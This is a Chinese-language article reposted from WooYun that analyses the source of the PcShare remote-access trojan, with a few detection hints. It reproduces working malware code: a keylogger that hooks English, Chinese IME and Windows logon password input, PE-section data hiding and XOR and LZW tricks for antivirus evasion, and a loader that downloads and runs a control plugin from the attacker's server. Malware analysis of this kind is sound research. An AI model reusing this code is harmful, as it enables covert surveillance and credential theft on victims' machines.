Pcshare遠控原始碼偏重分析(一)

wyzsk發表於2020-08-19
作者: New4 · 2014/12/30 15:01

0x00背景


enter image description here

PcShare是一款功能強大的遠端管理軟體,可以在內網、外網任意位置隨意管理需要的遠端主機,該軟體是由國內安全愛好者無可非議開發。在當時這款遠控在大家應該比較熟悉了,VC編譯器調出來的的小體積全功能木馬。相比Delphi的灰鴿子真是碉堡了!

下面我們使用具有通用性的會員版本為例,進行原始碼分析。其他企業版本和2011版應該大同小異,有興趣的可以自行研究。由於篇幅限制,我們主要關注一些關鍵程式碼流程,核心程式碼、及加密解密部分。

0x01 程式碼結構


作者開源的原始碼包大致目錄結構:

C:\PCSHARE
├─2011年版
├─企業定做
│  ├─PcLKey
│  ├─PcMain
│  ├─PcMake
│  ├─PcShare
│  └─PcStart
├─會員版本
│  ├─PcLKey
│  ├─PcMain
│  ├─PcMake
│  ├─PcShare
│  └─PcStart
├─版本工具
│  ├─FileInsert
│  ├─InSertPsString
│  ├─NetServer
│  ├─PcFileComb
│  ├─PcSocksServer
│  ├─PsProxy
│  ├─SrcModifyTool
│  ├─StrEntry
│  └─UpPcShare
└─介面資源
    ├─tool
    └─[XTreme.Toolkit.9.6.MFC].Xtreme.Toolkit.Pro.v9.60

檔案大致作用:

PcLKey鍵盤記錄外掛

PcStart可執行安裝主程式

PcMake 連線型DLL小馬

PcMain 主功能控制外掛

PcShare 主控程式帶介面

我們先看下會員版本配置介面,然後在開始分析。你可以發現會員版本和早期拿到的版本不一樣,有一個捆綁檔案功能,而這個功能有一個亮點“壓縮編碼”。想知道?繼續看

enter image description here

PcLKey鍵盤記錄外掛 編譯檔名:PcLkey.dll 這款鍵盤記錄外掛的特色就是可以記錄中文英文等,而且可以嘗試記錄系統登入密碼。服務啟動SYSTEM許可權的,登陸系統密碼記錄應該是支援XP/2003的,具體大家測測看。

以下是啟動監控中文和英文及登入視窗輸入記錄,處理流程程式碼。 離線鍵盤記錄資料檔案以*.dll.txt儲存,和dll一個目錄。

#!c++
    //資料檔名稱
    *pEnd = 0x00;
    lstrcat(m_ModuleFileName, ".txt");
    strcpy(m_KeyFilePath, m_ModuleFileName);

    HDESK hOldDesktop = GetThreadDesktop(GetCurrentThreadId());

    //監控中文和英文
    HDESK hNewDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED);
    if(hNewDesktop != NULL)
    {
        SetThreadDesktop(hNewDesktop);
    }

    if(NULL == g_hKeyHK_CN)
    {
        g_hKeyHK_CN = SetWindowsHookExW(WH_CALLWNDPROC, HOOK_WM_IME_COMPOSITION_Proc, ghInstance, 0);
    }
    if(NULL == g_hKeyHK_EN)
    {
        g_hKeyHK_EN = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_Proc, ghInstance, 0);
    }

    GetModuleFileName(NULL, m_ModuleFileName, 255);
    CharLower(m_ModuleFileName);
    if(strstr(m_ModuleFileName, "svchost.exe") != NULL)
    {
        //監控登入視窗
        hNewDesktop = OpenDesktop("Winlogon", 0, FALSE, MAXIMUM_ALLOWED);
        if(hNewDesktop != NULL)
        {
            SetThreadDesktop(hNewDesktop);
        }
        if(NULL == g_hKeyHK_LG)
        {
            g_hKeyHK_LG = SetWindowsHookExW(WH_GETMESSAGE, HOOK_WM_CHAR_LOGIN_Proc, ghInstance, 0);
        }
        SetThreadDesktop(hOldDesktop);
    }

英文記錄核心程式碼:WH_GETMESSAGE全域性鉤子,大家的程式碼應該都差不多,這裡主要是處理回車符和刪除符。

#!c++
LRESULT CALLBACK HOOK_WM_CHAR_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0 )
    {
        PMSG pMsg = (PMSG) lParam;
        if(pMsg->message == WM_CHAR && wParam == PM_REMOVE && GetTickCount() - nCnKeyTimeOut > 5)
        {
            nEnKeyTimeOut = GetTickCount();
            switch(pMsg->wParam)
            {
                case VK_BACK:
                    InsertBuffer(L"[<=]", KEY_INSERT_NORMAL);
                    break;

                case VK_RETURN:
                    InsertBuffer(L"\r\n", KEY_INSERT_NORMAL);
                    break;

                default :
                    {
                        WCHAR m_Text[3] = {0};
                        memcpy(m_Text, &pMsg->wParam, sizeof(WPARAM));
                        InsertBuffer(m_Text, KEY_INSERT_NORMAL);
                    }
                    break;
            }
        }
    }
    return CallNextHookEx(g_hKeyHK_EN, nCode, wParam, lParam);
}

中文記錄核心程式碼:主要用到WH_CALLWNDPROC全域性鉤子處理WM_IME_COMPOSITION訊息,透過ImmGetCompositionStringW函式獲取字元。

#!c++
LRESULT CALLBACK HOOK_WM_IME_COMPOSITION_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
    CWPSTRUCT* pMsg = (CWPSTRUCT*) lParam;
    if(m_IsLogin)
    {
        //已經登入
        m_IsLogin = FALSE;

        //需要儲存登入密碼
        InsertBuffer(L"\r", KEY_INSERT_LOGIN_END);
        WCHAR m_UserName[256] = L"當前使用者:";
        DWORD len = 256 - lstrlenW(m_UserName) - 1;
        GetUserNameW(m_UserName + lstrlenW(m_UserName), &len);
        lstrcatW(m_UserName, L" 使用者密碼:");
        InsertBuffer(m_UserName, KEY_INSERT_LOGIN_END);
        InsertBuffer(L"\n", KEY_INSERT_LOGIN_END);
    }

    if(nCode == HC_ACTION)
    {
        switch (pMsg->message)
        {
            case WM_IME_COMPOSITION:
            {
                if(GetTickCount() - nEnKeyTimeOut > 5)
                {
                    nCnKeyTimeOut = GetTickCount();
                    HWND hWnd = GetForegroundWindow();
                    HIMC hIMC = ImmGetContext(hWnd);
                    memset(g_srcBuf, 0, 256 * sizeof(WCHAR));
                    DWORD dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
                    ImmGetCompositionStringW(hIMC, GCS_RESULTSTR, g_srcBuf, dwSize);
                    if(StrCmpW(g_srcBuf, g_destBuf) != 0)
                    {
                        InsertBuffer(g_srcBuf, KEY_INSERT_NORMAL);
                        lstrcpyW(g_destBuf, g_srcBuf);
                    }
                    if(hIMC)
                    {
                        ImmReleaseContext(hWnd, hIMC);
                    }
                }
            }
            break;
        }
    }
    return(CallNextHookEx(g_hKeyHK_CN, nCode, wParam, lParam));
}

系統登入記錄核心程式碼:這個和英文記錄查不多主要涉及就是使用者桌面切換,這裡不需要處理回車因為按回車就等於點確定登陸了。

#!c++
LRESULT CALLBACK HOOK_WM_CHAR_LOGIN_Proc (int nCode, WPARAM wParam, LPARAM lParam)
{
    //進入登入視窗
    if(nCode >= 0 )
    {
        PMSG pMsg = (PMSG) lParam;
        if(pMsg->message == WM_CHAR)
        {
            m_IsLogin = TRUE;
            switch(pMsg->wParam)
            {
                case VK_BACK:
                    InsertBuffer(L"[<=]", KEY_INSERT_LOGIN);
                    break;

                default :
                    {
                        WCHAR m_Text[3] = {0};
                        memcpy(m_Text, &pMsg->wParam, sizeof(WPARAM));
                        InsertBuffer(m_Text, KEY_INSERT_LOGIN);
                    }
                    break;
            }
        }
    }
    return CallNextHookEx(g_hKeyHK_EN, nCode, wParam, lParam);
}

PcStart可執行安裝主程式 編譯檔名:PcInit.exe

這個程式主要作用就是從EXE中釋放DLL和SYS檔案等,安裝服務並呼叫執行主要功能DLL木馬上線。早期這款遠控特色就是有驅動,可以隱藏連線和登錄檔等。可惜這種氾濫Rootkit程式碼維持沒多久就被防毒列入監控範圍,然後就沒有然後了。

使用者配置生成資料結構體,和配置器的需要定義的內容差不多。

#!c++
// 該結構僅在生成肉雞檔案時使用,不用來通訊
// 該結構改成ANSI版的更好
typedef struct _PSDLLINFO_
{

//定長
    UINT m_ServerPort;
    UINT m_DelayTime;
    UINT m_IsDel;
    UINT m_IsKeyMon;
    UINT m_PassWord;
    UINT m_DllFileLen;
    UINT m_SysFileLen;
    UINT m_ComFileLen;
    UINT m_CreateFlag;
    UINT m_DirAddr;

//變長
    char m_ServerAddr[256];     // TCHAR to char [9/19/2007 zhaiyinwei]
    char m_DdnsUrl[256];
    char m_Title[64];
    char m_SysName[24];
    char m_ServiceName[24];     //服務名稱
    char m_ServiceTitle[256];   //服務描述
    char m_ServiceView[32];     //服務顯示名稱
    char m_SoftVer[32];         //軟體版本
    char m_Group[32];           //使用者分組

//客戶端儲存
    UINT m_IsSys;
    UINT m_ExtInfo;
    char m_ID[18];
    char m_ExeFilePath[256];
}PSDLLINFO, *LPPSDLLINFO;

0x02 多功能的詳解


下面看看作者的debug版本除錯用的程式碼,更形象一些。主要資料就是上線地址、埠、安裝服務名稱、服務顯示名稱、服務描述、上線分組、備註、重連超時、軟體版本、上線密碼等等

enter image description here

下面這段程式碼可以看得出會員版本和普通版本區別,

1、使用的DLL不一樣,會員版是完整版的DLL、普通版本是精簡版的DLL。

2、主函式名的區別,會員版本是Vip20101125,免費版本是ServiceMain。

3、會員版本直接帶完整控制外掛DLL,免費版會先建立TCP連線傳輸控制外掛(就是小馬帶大馬減小體積),這個後續在提到。

enter image description here

PcStart還有三處值得注意的亮點:

1 DLL和SYS檔案資料加密儲存,捆綁合併檔案使用LZW編碼壓縮。避免被防毒軟體輕易的識別出捆綁(內建)PE檔案,對躲避查殺有一定效果。但是有些強悍的防毒還是能透過虛擬機器脫殼或演算法識別解碼後將其藏匿的檔案進行查殺。攻防最頭痛莫過於對手太強大,所以現在手段不高明基本沒有生存空間了。

#!c++
FCLzw lzw;  
//附加資訊資料
BYTE* pZipInfoData = ((BYTE*) pSaveInfo) + sizeof(MYSAVEFILEINFO);
DWORD nSrcInfoDataLen = 0;
BYTE* pSrcInfoData = NULL;
lzw.PcUnZip(pZipInfoData, &pSrcInfoData, &nSrcInfoDataLen);
CopyMemory(pInfo, pSrcInfoData, nSrcInfoDataLen);
delete [] pSrcInfoData;

if(IsFileComb)
{
    DWORD nSrcComDataLen = 0;
    BYTE* pZipComData = pZipInfoData + pSaveInfo->m_Size + pInfo->m_DllFileLen + pInfo->m_SysFileLen;
    BYTE* pComFileData = NULL;
    lzw.PcUnZip(pZipComData, &pComFileData, &nSrcComDataLen);
    delete [] pFileData;

    //修改原始檔案
    while(1)
    {
        if(WriteMyFile(pCmdLines, pComFileData, nSrcComDataLen))
        {
            break;
        }
        Sleep(50);
    }

2 修改利用PE檔案標誌來識別檔案型別,分析過程中我發現一處不錯的思路。修改PE檔案的標識“This program cannot be run in DOS mode.”中的“This”位置來標註這是一個什麼型別檔案,方便後期檔案處理和執行。這是固定碼可以將此處加入查殺特徵庫就可以識別了,快速掃描有點用,準確識別還是另外在找一處吧。

定義:

#!c++
#define PS_START_WIN7       11001       //win7啟動
#define PS_START_UPDATE     11002       //更新客戶端
#define PS_START_FILECOMB   11003       //檔案捆綁
#define PS_START_FILECOPY   11004       //檔案捆綁複製

BYTE* GetCmdType()
{
    char m_FileName[256] = {0};
    GetModuleFileName(NULL, m_FileName, 255);
    HANDLE hFile = CreateFile(m_FileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        return NULL;
    }
    DWORD nReadLen = 0;
    DWORD nFileLen = GetFileSize(hFile, NULL);
    CloseHandle(hFile);

    //修改標誌
    //This
    char m_TempStr[256] = {0};
    m_TempStr[0] = 'T';
    m_TempStr[1] = 'h';
    m_TempStr[2] = 'i';
    m_TempStr[3] = 's';
    m_TempStr[4] = 0x00;

    //修改EXE資料標誌
    BYTE* pData = (BYTE*) GetModuleHandle(NULL);
    BYTE* pCmd = NULL;
    for(DWORD i = 0; i < nFileLen; i++)
    {
        if(memcmp(&pData[i], m_TempStr, 4) == 0)
        {
            pCmd = (BYTE*) &pData[i + 4];
            break;
        }
    }
    return pCmd;
}

驗證:

enter image description here

3 執行成功後加密配置資料修改DLL 檔案,生成一段隨機作為Key。資料和Key異或加密儲存,放在PE空區段裡面。Pcshare多次利用空區段存放資料,用的時候在找標記“PS_VER_ULONGLONG”找大小在讀取出來,避免“資原始檔存檔案”、“附加資料存檔案”等傳統捆綁打包和攜帶配置檔案的方式,被防毒啟發式掃描檢測出來。

#!c++
//取隨機資料
    srand((unsigned) time(NULL));
    for(i = 0; i < nInfoDataLen; i++)
    {
        pKeyData[i] = rand();
    }

    //加密資料
    for(i = 0; i < nInfoDataLen; i++)
    {
        pTmpData[i] = pTmpData[i] ^ pKeyData[i];
    }
    AddDataToPe(pSaveData, nInfoDataLen * 2 + nStrSize, pDllFileData, nSrcDllDataLen, m_DllFilePath);

AddDataToPe程式碼片段:

#!c++
    // 新節的RVA
    pNewSec->VirtualAddress = pPE_Header->OptionalHeader.SizeOfImage;

    //SizeOfRawData在EXE檔案中是對齊到FileAlignMent的整數倍的值
    pNewSec->SizeOfRawData = DataLen;
    pNewSec->SizeOfRawData /= pPE_Header->OptionalHeader.FileAlignment;
    pNewSec->SizeOfRawData++;
    pNewSec->SizeOfRawData *= pPE_Header->OptionalHeader.FileAlignment;

    // 設定新節的 PointerToRawData
    pNewSec->PointerToRawData = nPeLen;

    // 設定新節的屬性
    pNewSec->Characteristics = 0x40000040;      //可讀,,已初始化

    // 增加NumberOfSections
    pPE_Header->FileHeader.NumberOfSections++;

    // 增加SizeOfImage
    pPE_Header->OptionalHeader.SizeOfImage += 
        (pNewSec->Misc.VirtualSize/pPE_Header->OptionalHeader.SectionAlignment + 1) * 
        pPE_Header->OptionalHeader.SectionAlignment;

    // 儲存到檔案
    HANDLE hFile = CreateFile(
        pPeFile,
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL );

PcMake 連線型DLL小馬 編譯檔名:PcMake.dll

透過原始碼分析Pcshare共有3個外掛1、控制外掛(即:PcMain.dll) 2、鍵盤記錄外掛(PcLkey.dll) 3、Sock5代理外掛 後兩個外掛是會員版本專享。

PcMake這個外掛初始化連線是使用TCP連線到控制端,然後下載控制外掛。會員版本採用直接捆綁打包PcMain.dll控制外掛方式,所以體積上會大一些。

這個小馬外掛特色不多,下面我主要分析的解密配置資訊部分程式碼和上線程式碼。

定義:

#!c++
#define PS_VER_ULONGLONG        0x1234567812345678

BOOL MyMainFunc::GetFileSaveInfo(LPVOID pInfoData, DWORD nInfoLen, HINSTANCE hInst)
{
    //檔案資料
    DWORD nReadLen = 0;
    char m_DllName[MAX_PATH] = {0};
    GetModuleFileName(hInst, m_DllName, 200);
    HANDLE hFile = CreateFile(m_DllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    DWORD nFileLen = GetFileSize(hFile, NULL);
    BYTE* pFileData = new BYTE[nFileLen];
    ReadFile(hFile, pFileData, nFileLen, &nReadLen, NULL);
    CloseHandle(hFile);

    //查詢儲存檔案標誌
    BYTE* pSaveInfo = NULL;
    for(DWORD i = nFileLen - sizeof(ULONGLONG); i > sizeof(ULONGLONG); i--)
    {
        if(*(ULONGLONG*) &pFileData[i] == PS_VER_ULONGLONG)
        {
            pSaveInfo = &pFileData[i] + sizeof(ULONGLONG);
            break;
        }
    }
    if(pSaveInfo == NULL)
    {
        delete [] pFileData;
        return FALSE;
    }

    BYTE* pKeyData = pSaveInfo + sizeof(PSDLLINFO);
    CopyMemory(pInfoData, pSaveInfo, sizeof(PSDLLINFO));

    BYTE* pSrcData = (BYTE*) pInfoData;

    //還原資料
    for(i = 0; i < sizeof(PSDLLINFO); i++)
    {
        pSrcData[i] = pSrcData[i] ^ pKeyData[i];
    }
    delete [] pFileData;

    return TRUE;
}

執行後,查詢儲存配置的標誌“0x1234567812345678”(PcStart成功執行後寫入的配置資訊),找到後將金鑰和配置讀取出來,迴圈所有配置加密資料和金鑰進行異或Xor解密。

驗證方法:16進位制編輯工具搜尋16進位制“7856341278563412”

enter image description here

Ollydbg除錯印證:

enter image description here

enter image description here

#!c++
#define PS_ENTRY_COMM_KEY       0xf7                //簡單異或
#define PS_USER_ID          0x3030303030303030          //VIP版本

BOOL CMyClientTran::Create(DWORD nCmd, char* m_ServerAddr, UINT m_ServerPort, char* pUrl, UINT nPassWord)
{
    Close();

    StrCpy(m_Addr, m_ServerAddr);
    m_Port = m_ServerPort;

    //檢視是否有ddns
    if(lstrlen(pUrl) != 0)
    {
        GetRealServerInfo(pUrl, m_Addr, &m_Port);
    }

    //連線到伺服器
    m_Socket = GetConnectSocket(m_Addr, m_Port);
    if(m_Socket == NULL)
    {
        return FALSE;
    }

    //協商初始資料
    LOGININFO m_LoginInfo = {0};
    m_LoginInfo.m_Cmd = nCmd;
    m_LoginInfo.m_hWnd = (HWND) nPassWord;
    m_LoginInfo.m_UserId = PS_USER_ID;
    EncryptByte(&m_LoginInfo, sizeof(LOGININFO));
    return SendData(&m_LoginInfo, sizeof(LOGININFO));
}

void CMyClientTran::EncryptByte(LPVOID pData, DWORD nLen)
{
    BYTE* pTmpData = (BYTE*) pData;
    for(DWORD i = 0; i < nLen; i++)
    {
        pTmpData[i] = pTmpData[i] ^ PS_ENTRY_COMM_KEY;  
    }
}

連線控制端成功後傳送軟體版本和上線密碼(傳輸的資料使用異或F7加密,有點弱爆的感覺。),然後從主控端下載控制外掛。

enter image description here

#!c++
void CMyWorkMoudle::MakeModFileMd5(LPCTSTR pFileName, BYTE* sMd5Str)
{
    HANDLE hFile = CreateFile(pFileName, GENERIC_READ, FILE_SHARE_READ,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        return;
    }

    DWORD nReadLen = 0;
    DWORD nFileLen = GetFileSize(hFile, NULL);
    BYTE* pFileData = new BYTE[nFileLen];
    ReadFile(hFile, pFileData, nFileLen, &nReadLen, NULL);
    CloseHandle(hFile);

    //校驗本地檔案
    MD5_CTX context = {0};
    MD5Init (&context);
    MD5Update (&context, pFileData, nFileLen);
    MD5Final (&context);

    //儲存校驗碼
    CopyMemory(sMd5Str, &context, 16);

    delete [] pFileData;
}   

HMODULE CMyWorkMoudle::GetModFile(char* pFilePath, UINT nCmd)
{
    //MD5校驗
    BYTE m_DllFileMd5[24] = {0};
    MakeModFileMd5(m_ModFilePath, m_DllFileMd5);

    //連線伺服器,上送本地檔案校驗碼
    CMyClientTran m_Tran;
    if(!m_Tran.Create(nCmd, m_DllInfo.m_ServerAddr, m_DllInfo.m_ServerPort, 
        m_DllInfo.m_DdnsUrl, m_DllInfo.m_PassWord) || !m_Tran.SendData(m_DllFileMd5, 16))
    {
        return NULL;
    }

    //接收檔案長度
    DWORD nFileLen = 0;
    if(!m_Tran.RecvData(&nFileLen, sizeof(DWORD)))
    {
        return NULL;
    }

    //檢視是否需要接收檔案
    if(nFileLen == 0)
    {
        return LoadLibrary(pFilePath);
    }

    //接收檔案
    BYTE* pFileData = new BYTE[nFileLen + 65535];
    ZeroMemory(pFileData, nFileLen + 65535);
    if(!m_Tran.RecvData(pFileData, nFileLen))
    {
        delete [] pFileData;
        return NULL;
    }

    //解壓檔案
    FCLzw lzw;
    if(!lzw.PcSaveData(pFileData, pFilePath))
    {
        delete [] pFileData;
        return NULL;
    }
    delete [] pFileData;

    //裝載DLL檔案
    return LoadLibrary(pFilePath);
}

校驗外掛檔案完整性使用MD5演算法,判斷是否與控制端最新版本相符。相同則不在傳輸,貌似MD5演算法目前不是太安全了吧。

0x03 文章小結


Pcshare這款遠控的程式碼規範方面還是比較工整的,程式碼縮排而且還有大量註釋。非常適合初學入門和二次開發。據說早期有HTTP協議的版本但是現在程式碼丟失了,可惜了這款2010款是TCP版本對企業防火牆穿牆能力有限。比較有特色的思路:1、LZW編碼壓縮 2、改PE的DOS頭“This”給檔案做標記 3、利用空區段存放資料,看得出作者對安裝用的EXE處理上花了不少功夫。

PcMain 主功能控制外掛、PcShare 主控程式帶介面將在第2篇中在分析,預知後事如何,請聽下回分解。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章